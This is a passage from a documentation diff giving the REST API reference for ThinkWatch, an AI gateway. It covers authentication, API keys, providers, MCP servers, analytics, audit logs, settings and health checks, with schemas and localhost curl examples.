attempts | + +--- + +#### POST /api/auth/register + +Create a new user account. + +**Authentication:** Public + +#### Request Body + +```json +{ + "email": "string", + "display_name": "string", + "password": "string" +} +``` + +| Field | Type | Required | Description | +| -------------- | ------ | -------- | ---------------------------- | +| `email` | string | Yes | Unique email address | +| `display_name` | string | Yes | Display name | +| `password` | string | Yes | Password (minimum 8 chars) | + +#### Response Body + +```json +{ + "id": "uuid", + "email": "user@example.com", + "display_name": "Jane Doe", + "role": "user", + "created_at": "2026-01-15T10:30:00Z" +} +``` + +#### Example + +```bash +curl -X POST http://localhost:3001/api/auth/register \ + -H "Content-Type: application/json" \ + -d '{ + "email": "newuser@example.com", + "display_name": "New User", + "password": "strongpassword123" + }' +``` + +#### Error Responses + +| Status | Condition | +| ------ | ------------------------------ | +| 409 | Email already registered | +| 422 | Validation error (weak password, invalid email) | + +--- + +#### POST /api/auth/refresh + +Exchange a refresh token for a new access/refresh token pair. + +**Authentication:** Public (requires valid refresh token) + +#### Request Body + +```json +{ + "refresh_token": "string" +} +``` + +#### Response Body + +```json +{ + "access_token": "eyJhbGciOi...", + "refresh_token": "eyJhbGciOi...", + "token_type": "Bearer", + "expires_in": 900 +} +``` + +#### Example + +```bash +curl -X POST http://localhost:3001/api/auth/refresh \ + -H "Content-Type: application/json" \ + -d '{"refresh_token": "eyJhbGciOi..."}' +``` + +#### Error Responses + +| Status | Condition | +| ------ | ---------------------------------- | +| 401 | Invalid or expired refresh token | + +--- + +#### GET /api/auth/sso/authorize + +Initiates an OIDC Authorization Code flow. Redirects the user's browser to the configured identity provider. + +**Authentication:** Public + +#### Query Parameters + +None. The server generates a random `state` and `nonce`, stores them in Redis, and constructs the OIDC authorization URL. + +#### Response + +``` +HTTP/1.1 302 Found +Location: https://idp.example.com/authorize?client_id=...&redirect_uri=...&state=...&nonce=...&scope=openid+email+profile&response_type=code +``` + +#### Example + +```bash +# Typically opened in a browser, not curl +curl -v http://localhost:3001/api/auth/sso/authorize +``` + +--- + +#### GET /api/auth/sso/callback + +OIDC callback endpoint. The identity provider redirects here after user authentication. + +**Authentication:** Public + +#### Query Parameters + +| Parameter | Type | Required | Description | +| --------- | ------ | -------- | ------------------------------------ | +| `code` | string | Yes | Authorization code from the provider | +| `state` | string | Yes | CSRF state parameter | + +#### Response Body + +```json +{ + "access_token": "eyJhbGciOi...", + "refresh_token": "eyJhbGciOi...", + "token_type": "Bearer", + "expires_in": 900, + "user": { + "id": "uuid", + "email": "sso-user@corp.com", + "display_name": "SSO User", + "role": "user" + } +} +``` + +#### Error Responses + +| Status | Condition | +| ------ | -------------------------------------- | +| 400 | Missing code or state | +| 401 | Invalid state (CSRF check failed) | +| 401 | Token exchange failed with IdP | +| 500 | OIDC not configured | + +--- + +#### GET /api/auth/me + +Return the currently authenticated user's profile. + +**Authentication:** JWT + +#### Response Body + +```json +{ + "id": "uuid", + "email": "user@example.com", + "display_name": "Jane Doe", + "role": "user", + "created_at": "2026-01-15T10:30:00Z", + "updated_at": "2026-03-20T14:00:00Z" +} +``` + +#### Example + +```bash +curl http://localhost:3001/api/auth/me \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### Error Responses + +| Status | Condition | +| ------ | ---------------------- | +| 401 | Missing or invalid JWT | + +--- + +### API Keys + +An API key's own rate limits and budgets are edited on the **Limits** tab of the key's edit dialog in the console: rate limits on requests or weighted tokens over 1m, 5m, 1h, 5h, 1d or 1w, and daily, weekly or monthly budgets in weighted tokens, each with what it has used. They apply on top of the owner's limits, on counters of their own, and follow the key across rotations. The tab reads and changes them through `/api/admin/limits/api_key/{id}/rules`, `/api/admin/limits/api_key/{id}/budgets` and `/api/admin/limits/api_key/{id}/usage`. Reading needs `rate_limits:read` and changing `rate_limits:write`, in a scope that covers the key; without write access the tab is read-only, and without read access the dialog has no Limits tab. + +#### GET /api/keys + +List all API keys belonging to the authenticated user. + +**Authentication:** JWT + +#### Response Body + +```json +[ + { + "id": "uuid", + "name": "Production Key", + "prefix": "tw-prod", + "allowed_models": ["gpt-4o", "claude-sonnet-4-20250514"], + "rate_limit_rpm": 60, + "expires_at": "2026-06-01T00:00:00Z", + "created_at": "2026-01-15T10:30:00Z", + "last_used_at": "2026-03-28T09:15:00Z" + } +] +``` + +> **Note:** The full key value is never returned after creation. Only the `prefix` is shown for identification. + +#### Example + +```bash +curl http://localhost:3001/api/keys \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### POST /api/keys + +Create a new API key. + +**Authentication:** JWT + +#### Request Body + +```json +{ + "name": "string", + "allowed_models": ["string"], + "rate_limit_rpm": 60, + "expires_in_days": 90 +} +``` + +| Field | Type | Required | Default | Description | +| ----------------- | --------------- | -------- | --------- | -------------------------------------------- | +| `name` | string | Yes | — | Human-readable name | +| `allowed_models` | array\ | No | all | Restrict key to specific models | +| `rate_limit_rpm` | integer | No | unlimited | Requests per minute limit | +| `expires_in_days` | integer | No | no expiry | Number of days until the key expires | + +#### Response Body + +```json +{ + "id": "uuid", + "name": "Production Key", + "key": "tw-sk-a1b2c3d4e5f6...", + "allowed_models": ["gpt-4o"], + "rate_limit_rpm": 60, + "expires_at": "2026-06-01T00:00:00Z", + "created_at": "2026-03-28T10:00:00Z" +} +``` + +> **Important:** The `key` field is only returned once at creation time. Store it securely. + +#### Example + +```bash +curl -X POST http://localhost:3001/api/keys \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "name": "CI/CD Pipeline", + "allowed_models": ["gpt-4o"], + "rate_limit_rpm": 120, + "expires_in_days": 30 + }' +``` + +#### Error Responses + +| Status | Condition | +| ------ | ---------------------- | +| 401 | Invalid JWT | +| 422 | Validation error | + +--- + +#### GET /api/keys/{id} + +Retrieve details for a specific API key. + +**Authentication:** JWT + +#### Path Parameters + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `id` | UUID | Key ID | + +#### Response Body + +```json +{ + "id": "uuid", + "name": "Production Key", + "prefix": "tw-prod", + "allowed_models": ["gpt-4o"], + "rate_limit_rpm": 60, + "expires_at": "2026-06-01T00:00:00Z", + "created_at": "2026-01-15T10:30:00Z", + "last_used_at": "2026-03-28T09:15:00Z" +} +``` + +#### Error Responses + +| Status | Condition | +| ------ | ------------------------------- | +| 401 | Invalid JWT | +| 404 | Key not found or not owned by user | + +--- + +#### DELETE /api/keys/{id} + +Revoke an API key. This is irreversible. + +**Authentication:** JWT + +#### Path Parameters + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `id` | UUID | Key ID | + +#### Response + +``` +HTTP/1.1 204 No Content +``` + +#### Example + +```bash +curl -X DELETE http://localhost:3001/api/keys/550e8400-e29b-41d4-a716-446655440000 \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### Error Responses + +| Status | Condition | +| ------ | ---------------------------------- | +| 401 | Invalid JWT | +| 404 | Key not found or not owned by user | + +--- + +#### PATCH /api/keys/{id} + +Update settings for an existing API key. + +**Authentication:** JWT + +#### Path Parameters + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `id` | UUID | Key ID | + +#### Request Body + +```json +{ + "allowed_models": ["gpt-4o", "claude-sonnet-4-20250514"], + "rate_limit_rpm": 120, + "expires_in_days": 60, + "rotation_interval_days": 90, + "inactivity_timeout_days": 30 +} +``` + +| Field | Type | Required | Description | +| ------------------------- | --------------- | -------- | --------------------------------------------------- | +| `allowed_models` | array\ | No | Update the list of permitted models | +| `rate_limit_rpm` | integer | No | Update requests per minute limit | +| `expires_in_days` | integer | No | Set or update expiry (days from now) | +| `rotation_interval_days` | integer | No | Set automatic rotation interval | +| `inactivity_timeout_days` | integer | No | Auto-disable key after N days of inactivity | + +#### Response Body + +```json +{ + "id": "uuid", + "name": "Production Key", + "prefix": "tw-prod", + "allowed_models": ["gpt-4o", "claude-sonnet-4-20250514"], + "rate_limit_rpm": 120, + "expires_at": "2026-08-01T00:00:00Z", + "rotation_interval_days": 90, + "inactivity_timeout_days": 30, + "updated_at": "2026-04-01T10:00:00Z" +} +``` + +#### Example + +```bash +curl -X PATCH http://localhost:3001/api/keys/550e8400-e29b-41d4-a716-446655440000 \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "rate_limit_rpm": 120, + "inactivity_timeout_days": 30 + }' +``` + +#### Error Responses + +| Status | Condition | +| ------ | ---------------------------------- | +| 401 | Invalid JWT | +| 404 | Key not found or not owned by user | +| 422 | Validation error | + +--- + +#### POST /api/keys/{id}/rotate + +Rotate an API key. Generates a new key value and returns it. The old key enters a grace period (configurable) during which both the old and new keys are accepted. + +**Authentication:** JWT + +#### Path Parameters + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `id` | UUID | Key ID | + +#### Response Body + +```json +{ + "id": "uuid", + "name": "Production Key", + "key": "tw-sk-newkey123456...", + "grace_period_ends_at": "2026-04-02T10:00:00Z", + "rotated_at": "2026-04-01T10:00:00Z" +} +``` + +> **Important:** The new `key` value is only returned once. The old key remains valid until `grace_period_ends_at`. + +#### Example + +```bash +curl -X POST http://localhost:3001/api/keys/550e8400-e29b-41d4-a716-446655440000/rotate \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### Error Responses + +| Status | Condition | +| ------ | ---------------------------------- | +| 401 | Invalid JWT | +| 404 | Key not found or not owned by user | + +--- + +#### GET /api/keys/expiring + +List API keys that are expiring within the specified number of days. + +**Authentication:** JWT + +#### Query Parameters + +| Parameter | Type | Required | Default | Description | +| --------- | ------- | -------- | ------- | ------------------------------------ | +| `days` | integer | No | 7 | Number of days to look ahead | + +#### Response Body + +```json +[ + { + "id": "uuid", + "name": "Production Key", + "prefix": "tw-prod", + "expires_at": "2026-04-07T00:00:00Z", + "days_remaining": 5, + "owner_email": "user@example.com" + } +] +``` + +#### Example + +```bash +curl "http://localhost:3001/api/keys/expiring?days=14" \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### Error Responses + +| Status | Condition | +| ------ | ----------- | +| 401 | Invalid JWT | + +--- + +### Admin — Providers + +#### GET /api/admin/providers + +List all configured AI providers. + +**Authentication:** JWT (Admin) + +#### Response Body + +```json +[ + { + "id": "uuid", + "name": "openai-prod", + "display_name": "OpenAI Production", + "provider_type": "openai", + "base_url": "https://api.openai.com/v1", + "is_active": true, + "created_at": "2026-01-10T08:00:00Z" + } +] +``` + +> **Note:** The provider `api_key` is never returned in responses. + +#### Example + +```bash +curl http://localhost:3001/api/admin/providers \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### POST /api/admin/providers + +Register a new upstream AI provider. + +**Authentication:** JWT (Admin) + +#### Request Body + +```json +{ + "name": "string", + "display_name": "string", + "provider_type": "string", + "base_url": "string", + "api_key": "string" +} +``` + +| Field | Type | Required | Description | +| --------------- | ------ | -------- | ---------------------------------------------------- | +| `name` | string | Yes | Unique slug identifier (e.g. `openai-prod`) | +| `display_name` | string | Yes | Human-readable name | +| `provider_type` | string | Yes | One of `openai`, `anthropic`, `google`, `azure`, `bedrock`, `custom` | +| `base_url` | string | Yes | Provider API base URL | +| `api_key` | string | Yes | Provider API key (encrypted at rest with AES-256-GCM)| + +#### Response Body + +```json +{ + "id": "uuid", + "name": "openai-prod", + "display_name": "OpenAI Production", + "provider_type": "openai", + "base_url": "https://api.openai.com/v1", + "is_active": true, + "created_at": "2026-03-28T10:00:00Z" +} +``` + +#### Example + +```bash +curl -X POST http://localhost:3001/api/admin/providers \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "name": "anthropic-prod", + "display_name": "Anthropic Production", + "provider_type": "anthropic", + "base_url": "https://api.anthropic.com", + "api_key": "sk-ant-..." + }' +``` + +#### Error Responses + +| Status | Condition | +| ------ | ---------------------------- | +| 401 | Invalid JWT | +| 403 | User is not an admin | +| 409 | Provider name already exists | +| 422 | Validation error | + +--- + +#### GET /api/admin/providers/{id} + +Retrieve details for a specific provider. + +**Authentication:** JWT (Admin) + +#### Path Parameters + +| Parameter | Type | Description | +| --------- | ---- | ------------ | +| `id` | UUID | Provider ID | + +#### Response Body + +Same schema as individual item in the list response. + +#### Error Responses + +| Status | Condition | +| ------ | ------------------ | +| 401 | Invalid JWT | +| 403 | Not an admin | +| 404 | Provider not found | + +--- + +#### DELETE /api/admin/providers/{id} + +Remove a provider. Existing keys referencing its models will no longer resolve. + +**Authentication:** JWT (Admin) + +#### Response + +``` +HTTP/1.1 204 No Content +``` + +#### Example + +```bash +curl -X DELETE http://localhost:3001/api/admin/providers/550e8400-e29b-41d4-a716-446655440000 \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### Error Responses + +| Status | Condition | +| ------ | ------------------ | +| 401 | Invalid JWT | +| 403 | Not an admin | +| 404 | Provider not found | + +--- + +### Admin — Users + +#### GET /api/admin/users + +List all users in the system. + +**Authentication:** JWT (Admin) + +#### Response Body + +```json +[ + { + "id": "uuid", + "email": "admin@example.com", + "display_name": "Admin User", + "role": "admin", + "created_at": "2026-01-01T00:00:00Z", + "updated_at": "2026-03-15T12:00:00Z" + } +] +``` + +#### Example + +```bash +curl http://localhost:3001/api/admin/users \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### POST /api/admin/users + +Create a new user (admin-provisioned). + +**Authentication:** JWT (Admin) + +#### Request Body + +```json +{ + "email": "string", + "display_name": "string", + "password": "string", + "role": "string" +} +``` + +| Field | Type | Required | Default | Description | +| -------------- | ------ | -------- | -------- | ---------------------------------------------- | +| `email` | string | Yes | — | Unique email address | +| `display_name` | string | Yes | — | Display name | +| `password` | string | Yes | — | Initial password | +| `role` | string | No | `user` | One of `admin`, `operator`, `user`, `viewer`, `service` | + +#### Response Body + +```json +{ + "id": "uuid", + "email": "newadmin@example.com", + "display_name": "New Admin", + "role": "admin", + "created_at": "2026-03-28T10:00:00Z" +} +``` + +#### Example + +```bash +curl -X POST http://localhost:3001/api/admin/users \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "email": "operator@example.com", + "display_name": "Ops User", + "password": "securepassword", + "role": "operator" + }' +``` + +#### Error Responses + +| Status | Condition | +| ------ | ------------------------ | +| 401 | Invalid JWT | +| 403 | Not an admin | +| 409 | Email already exists | +| 422 | Validation error | + +--- + +### Admin — MCP Servers + +#### GET /api/mcp/servers + +List all registered MCP servers. + +**Authentication:** JWT (Admin) + +#### Response Body + +```json +[ + { + "id": "uuid", + "name": "docs-search", + "description": "Internal documentation search", + "endpoint_url": "https://mcp.internal.corp/docs", + "transport_type": "streamable_http", + "auth_type": "bearer", + "is_active": true, + "tool_count": 3, + "created_at": "2026-02-01T08:00:00Z" + } +] +``` + +#### Example + +```bash +curl http://localhost:3001/api/mcp/servers \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### POST /api/mcp/servers + +Register a new MCP server. + +**Authentication:** JWT (Admin) + +#### Request Body + +```json +{ + "name": "string", + "description": "string", + "endpoint_url": "string", + "transport_type": "string", + "auth_type": "string", + "auth_secret": "string" +} +``` + +| Field | Type | Required | Default | Description | +| ---------------- | ------ | -------- | ------------------ | ----------------------------------------------- | +| `name` | string | Yes | — | Unique server name | +| `description` | string | No | — | Human-readable description | +| `endpoint_url` | string | Yes | — | MCP server URL | +| `transport_type` | string | No | `streamable_http` | Transport: `streamable_http` or `sse` | +| `auth_type` | string | No | `none` | Auth method: `none`, `bearer`, `header`, `query`| +| `auth_secret` | string | No | — | Auth credential (encrypted at rest) | + +#### Response Body + +```json +{ + "id": "uuid", + "name": "docs-search", + "description": "Internal documentation search", + "endpoint_url": "https://mcp.internal.corp/docs", + "transport_type": "streamable_http", + "auth_type": "bearer", + "is_active": true, + "created_at": "2026-03-28T10:00:00Z" +} +``` + +#### Example + +```bash +curl -X POST http://localhost:3001/api/mcp/servers \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "name": "jira-tools", + "description": "Jira issue management tools", + "endpoint_url": "https://mcp.internal.corp/jira", + "auth_type": "bearer", + "auth_secret": "mcp-server-token-here" + }' +``` + +#### Error Responses + +| Status | Condition | +| ------ | ----------------------------- | +| 401 | Invalid JWT | +| 403 | Not an admin | +| 409 | Server name already exists | +| 422 | Validation error | + +--- + +#### GET /api/mcp/servers/{id} + +Retrieve details for a specific MCP server. + +**Authentication:** JWT (Admin) + +#### Path Parameters + +| Parameter | Type | Description | +| --------- | ---- | -------------- | +| `id` | UUID | MCP server ID | + +#### Response Body + +Same schema as individual item in the list response. + +--- + +#### DELETE /api/mcp/servers/{id} + +Remove an MCP server registration. Active sessions will be terminated. + +**Authentication:** JWT (Admin) + +#### Response + +``` +HTTP/1.1 204 No Content +``` + +#### Example + +```bash +curl -X DELETE http://localhost:3001/api/mcp/servers/550e8400-e29b-41d4-a716-446655440000 \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### POST /api/mcp/servers/{id}/discover + +Trigger tool discovery on an MCP server. Connects to the server, calls `tools/list`, and stores the discovered tools in the database. + +**Authentication:** JWT (Admin) + +#### Path Parameters + +| Parameter | Type | Description | +| --------- | ---- | -------------- | +| `id` | UUID | MCP server ID | + +#### Response Body + +```json +{ + "server_id": "uuid", + "tools_discovered": 5, + "tools": [ + { + "name": "search_issues", + "description": "Search Jira issues by JQL", + "input_schema": { + "type": "object", + "properties": { + "jql": {"type": "string"} + }, + "required": ["jql"] + } + } + ] +} +``` + +#### Example + +```bash +curl -X POST http://localhost:3001/api/mcp/servers/550e8400-e29b-41d4-a716-446655440000/discover \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### Error Responses + +| Status | Condition | +| ------ | ------------------------------- | +| 401 | Invalid JWT | +| 403 | Not an admin | +| 404 | Server not found | +| 502 | Could not connect to MCP server | + +--- + +### MCP Tools + +#### GET /api/mcp/tools + +List all discovered MCP tools across all registered servers. + +**Authentication:** JWT + +#### Response Body + +```json +[ + { + "id": "uuid", + "server_id": "uuid", + "server_name": "jira-tools", + "name": "search_issues", + "description": "Search Jira issues by JQL", + "input_schema": { + "type": "object", + "properties": { + "jql": {"type": "string"} + }, + "required": ["jql"] + } + } +] +``` + +#### Example + +```bash +curl http://localhost:3001/api/mcp/tools \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +### Analytics + +#### GET /api/analytics/usage + +Retrieve usage data (request counts, token counts) over time. + +**Authentication:** JWT + +#### Query Parameters + +| Parameter | Type | Required | Default | Description | +| ------------ | ------ | -------- | ---------- | ------------------------------------ | +| `from` | string | No | 7 days ago | Start datetime (ISO 8601) | +| `to` | string | No | now | End datetime (ISO 8601) | +| `group_by` | string | No | `day` | Grouping: `hour`, `day`, `week` | +| `model` | string | No | all | Filter by model name | + +#### Response Body + +```json +{ + "data": [ + { + "period": "2026-03-27", + "request_count": 1520, + "prompt_tokens": 450000, + "completion_tokens": 120000, + "total_tokens": 570000 + } + ] +} +``` + +#### Example + +```bash +curl "http://localhost:3001/api/analytics/usage?from=2026-03-01T00:00:00Z&group_by=day" \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### GET /api/analytics/usage/stats + +Retrieve aggregated usage statistics (totals and averages). + +**Authentication:** JWT + +#### Response Body + +```json +{ + "total_requests": 45000, + "total_tokens": 12500000, + "avg_latency_ms": 850, + "models": { + "gpt-4o": {"requests": 30000, "tokens": 9000000}, + "claude-sonnet-4-20250514": {"requests": 15000, "tokens": 3500000} + } +} +``` + +#### Example + +```bash +curl http://localhost:3001/api/analytics/usage/stats \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### GET /api/analytics/costs + +Retrieve cost data over time. + +**Authentication:** JWT + +#### Query Parameters + +| Parameter | Type | Required | Default | Description | +| ------------ | ------ | -------- | ---------- | ------------------------------- | +| `from` | string | No | 7 days ago | Start datetime (ISO 8601) | +| `to` | string | No | now | End datetime (ISO 8601) | +| `group_by` | string | No | `day` | Grouping: `hour`, `day`, `week` | + +#### Response Body + +```json +{ + "data": [ + { + "period": "2026-03-27", + "total_cost_usd": 45.20, + "by_model": { + "gpt-4o": 32.10, + "claude-sonnet-4-20250514": 13.10 + } + } + ] +} +``` + +#### Example + +```bash +curl "http://localhost:3001/api/analytics/costs?from=2026-03-01T00:00:00Z" \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### GET /api/analytics/costs/stats + +Retrieve aggregated cost statistics. + +**Authentication:** JWT + +#### Response Body + +```json +{ + "total_cost_usd": 1250.00, + "avg_daily_cost_usd": 41.67, + "by_model": { + "gpt-4o": 890.00, + "claude-sonnet-4-20250514": 360.00 + } +} +``` + +#### Example + +```bash +curl http://localhost:3001/api/analytics/costs/stats \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +### Audit + +#### GET /api/audit/logs + +Search audit log entries. Backed by ClickHouse for SQL-based search and analytics. + +**Authentication:** JWT (Admin) + +#### Query Parameters + +| Parameter | Type | Required | Default | Description | +| --------- | ------- | -------- | ------- | -------------------------------------- | +| `q` | string | No | — | Full-text search query | +| `from` | string | No | — | Start datetime (ISO 8601) | +| `to` | string | No | — | End datetime (ISO 8601) | +| `limit` | integer | No | 50 | Number of results (max 1000) | +| `offset` | integer | No | 0 | Pagination offset | + +#### Response Body + +```json +{ + "total": 2340, + "offset": 0, + "limit": 50, + "entries": [ + { + "id": "uuid", + "timestamp": "2026-03-28T09:15:00Z", + "user_id": "uuid", + "user_email": "admin@example.com", + "action": "provider.create", + "resource_type": "provider", + "resource_id": "uuid", + "details": {"name": "openai-prod"}, + "ip_address": "10.0.1.50", + "user_agent": "Mozilla/5.0..." + } + ] +} +``` + +#### Common Action Values + +| Action | Description | +| -------------------- | ---------------------------- | +| `auth.login` | User logged in | +| `auth.login_failed` | Failed login attempt | +| `auth.register` | User registered | +| `key.create` | API key created | +| `key.revoke` | API key revoked | +| `provider.create` | Provider added | +| `provider.delete` | Provider removed | +| `mcp_server.create` | MCP server registered | +| `mcp_server.delete` | MCP server removed | +| `user.create` | User created by admin | + +#### Example + +```bash +curl "http://localhost:3001/api/audit/logs?q=provider.create&from=2026-03-01T00:00:00Z&limit=20" \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### Error Responses + +| Status | Condition | +| ------ | ------------------ | +| 401 | Invalid JWT | +| 403 | Not an admin | + +--- + +### Admin Settings + +#### GET /api/admin/settings + +Retrieve all settings grouped by category. + +**Authentication:** JWT (Admin) + +#### Response Body + +```json +{ + "auth": { + "jwt_access_ttl_seconds": 900, + "jwt_refresh_ttl_seconds": 604800 + }, + "cache": { + "cache_ttl_seconds": 300 + }, + "security": { + "signature_drift_seconds": 300, + "nonce_ttl_seconds": 300, + "redact": {}, + "inspect_tools": {}, + "content": {} + }, + "budget": { + "budget_warning_threshold": 0.8, + "budget_critical_threshold": 0.95 + }, + "keys": { + "api_key_max_expiry_days": 365, + "api_key_default_rate_limit_rpm": 60 + }, + "general": { + "data_retention_days": 30, + "site_name": "ThinkWatch" + } +} +``` + +#### Example + +```bash +curl http://localhost:3001/api/admin/settings \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +--- + +#### PATCH /api/admin/settings + +Update one or more settings. Settings are validated before being persisted. + +**Authentication:** JWT (Admin) + +#### Request Body + +```json +{ + "settings": { + "jwt_access_ttl_seconds": 1800, + "site_name": "My AI Gateway", + "data_retention_days": 60 + } +} +``` + +| Field | Type | Required | Description | +| ---------- | ------ | -------- | ------------------------------------------ | +| `settings` | object | Yes | Key-value map of settings to update | + +#### Response Body + +```json +{ + "updated": ["jwt_access_ttl_seconds", "site_name", "data_retention_days"], + "settings": { + "jwt_access_ttl_seconds": 1800, + "site_name": "My AI Gateway", + "data_retention_days": 60 + } +} +``` + +#### Example + +```bash +curl -X PATCH http://localhost:3001/api/admin/settings \ + -H "Authorization: Bearer eyJhbGciOi..." \ + -H "Content-Type: application/json" \ + -d '{ + "settings": { + "jwt_access_ttl_seconds": 1800, + "data_retention_days": 90 + } + }' +``` + +#### Error Responses + +| Status | Condition | +| ------ | ------------------------------- | +| 401 | Invalid JWT | +| 403 | Not an admin | +| 422 | Validation error (invalid key or value) | + +--- + +#### GET /api/admin/settings/category/{category} + +Retrieve settings for a specific category. + +**Authentication:** JWT (Admin) + +#### Path Parameters + +| Parameter | Type | Description | +| ---------- | ------ | ------------------------------------------------------------------------------ | +| `category` | string | One of `auth`, `cache`, `security`, `budget`, `keys`, `general`, `system`, `oidc`, `audit` | + +#### Response Body + +Returns only the settings for the requested category (same structure as the corresponding section in `GET /api/admin/settings`). + +#### Example + +```bash +curl http://localhost:3001/api/admin/settings/category/auth \ + -H "Authorization: Bearer eyJhbGciOi..." +``` + +#### Error Responses + +| Status | Condition | +| ------ | ------------------ | +| 401 | Invalid JWT | +| 403 | Not an admin | +| 404 | Unknown category | + +--- + +> **Note:** The legacy endpoints `GET /api/admin/settings/system`, `GET /api/admin/settings/oidc`, and `GET /api/admin/settings/audit` remain available as aliases for `GET /api/admin/settings/category/{category}` with the respective category. + +--- + +### Gateway Logs + +#### List Gateway Logs + +`GET /api/gateway/logs` + +AI API request logs with model, provider, token, and cost data. + +**Query Parameters:** + +| Parameter | Type | Description | +|-----------|------|-------------| +| `model` | string | Model ID | +| `provider` | string | Provider name | +| `user_id` | string | User UUID | +| `api_key_id` | string | API key UUID | +| `status_code` | integer | HTTP status code | +| `from` | string | Start datetime (ISO 8601) | +| `to` | string | End datetime (ISO 8601) | +| `sort_by` | string | `cost_usd`, `latency_ms`, or `created_at` (default) | +| `limit` | integer | Max results (default 50, max 200) | +| `offset` | integer | Pagination offset | + +--- + +### MCP Logs + +#### List MCP Logs + +`GET /api/mcp/logs` + +MCP tool invocation logs. + +**Query Parameters:** + +| Parameter | Type | Description | +|-----------|------|-------------| +| `user_id` | string | User UUID | +| `server_id` | string | MCP server UUID | +| `tool_name` | string | Tool name | +| `status` | string | Invocation status | +| `from` | string | Start datetime (ISO 8601) | +| `to` | string | End datetime (ISO 8601) | +| `sort_by` | string | `duration_ms` or `created_at` (default) | +| `limit` | integer | Max results (default 50, max 200) | +| `offset` | integer | Pagination offset | + +--- + +### Access Logs + +#### List Access Logs + +`GET /api/admin/access-logs` + +HTTP request logs for both gateway and console ports. + +**Query Parameters:** + +| Parameter | Type | Description | +|-----------|------|-------------| +| `method` | string | HTTP method (GET, POST, etc.) | +| `path` | string | Request path (substring match) | +| `status_code` | string | HTTP status code | +| `port` | string | Port number (3000 or 3001) | +| `user_id` | string | User UUID | +| `q` | string | Free-text path search | +| `from` | string | Start datetime (ISO 8601) | +| `to` | string | End datetime (ISO 8601) | +| `limit` | integer | Max results (default 50, max 200) | +| `offset` | integer | Pagination offset | + +--- + +### App Logs + +#### List App Logs + +`GET /api/admin/app-logs` + +Application runtime tracing logs. + +**Query Parameters:** + +| Parameter | Type | Description | +|-----------|------|-------------| +| `level` | string | Log level (TRACE, DEBUG, INFO, WARN, ERROR) | +| `target` | string | Module/target (substring match) | +| `q` | string | Message search (substring match) | +| `from` | string | Start datetime (ISO 8601) | +| `to` | string | End datetime (ISO 8601) | +| `limit` | integer | Max results (default 50, max 200) | +| `offset` | integer | Pagination offset | + +--- + +### Platform Logs + +#### List Platform Logs + +`GET /api/admin/platform-logs` + +Platform management operation audit trail. + +**Query Parameters:** + +| Parameter | Type | Description | +|-----------|------|-------------| +| `user_id` | string | User UUID | +| `action` | string | Action name | +| `resource` | string | Resource type | +| `resource_id` | string | Resource UUID | +| `from` | string | Start datetime (ISO 8601) | +| `to` | string | End datetime (ISO 8601) | +| `limit` | integer | Max results (default 50, max 200) | +| `offset` | integer | Pagination offset | + +--- + +### Console Health + +#### GET /api/health + +Detailed health check reporting connectivity to backing services, latency metrics, and connection pool status. + +**Authentication:** Public + +#### Response Body (healthy) + +```json +{ + "status": "ok", + "pg_latency_ms": 2.5, + "redis_latency_ms": 0.8, + "clickhouse_latency_ms": 5.1, + "pool_idle": 8, + "pool_active": 2, + "uptime_seconds": 86400, + "services": { + "postgres": "ok", + "redis": "ok", + "clickhouse": "ok" + } +} +``` + +#### Response Body (degraded) + +If a critical dependency (PostgreSQL or Redis) is unreachable, the endpoint returns HTTP 503: + +```json +{ + "status": "degraded", + "pg_latency_ms": null, + "redis_latency_ms": 0.8, + "clickhouse_latency_ms": 5.1, + "pool_idle": 0, + "pool_active": 0, + "uptime_seconds": 86400, + "services": { + "postgres": "error", + "redis": "ok", + "clickhouse": "ok" + } +} +``` + +| Field | Type | Description | +| -------------------- | ------- | -------------------------------------------- | +| `status` | string | `ok` or `degraded` | +| `pg_latency_ms` | number | PostgreSQL ping latency (null if unreachable) | +| `redis_latency_ms` | number | Redis ping latency (null if unreachable) | +| `clickhouse_latency_ms`| number | ClickHouse ping latency (null if unreachable) | +| `pool_idle` | integer | Number of idle database connections | +| `pool_active` | integer | Number of active database connections | +| `uptime_seconds` | integer | Server uptime in seconds | + +#### Example + +```bash +curl http://localhost:3001/api/health +``` + +| Status | Condition | +| ------ | --------------------------------------- | +| 200 | All services healthy | +| 503 | Critical dependency (PG or Redis) down | diff --git a/src/content/docs/en/architecture.md b/src/content/docs/en/architecture.md new file mode 100644 index 0000000..545cb35 --- /dev/null +++ b/src/content/docs/en/architecture.md @@ -0,0 +1,467 @@ +# ThinkWatch Architecture + +## 1. Overview + +ThinkWatch is an enterprise AI API gateway and MCP (Model Context Protocol) management platform built in Rust. It acts as a **secure gateway** for all AI access within an organization -- every request from developer tools, automated agents, and internal applications flows through a single controlled gateway before reaching upstream AI providers or MCP servers. + +This architecture provides centralized: + +- **Authentication and authorization** -- API key validation, JWT-based sessions, OIDC SSO, and role-based access control. +- **Cost management** -- per-key and per-team 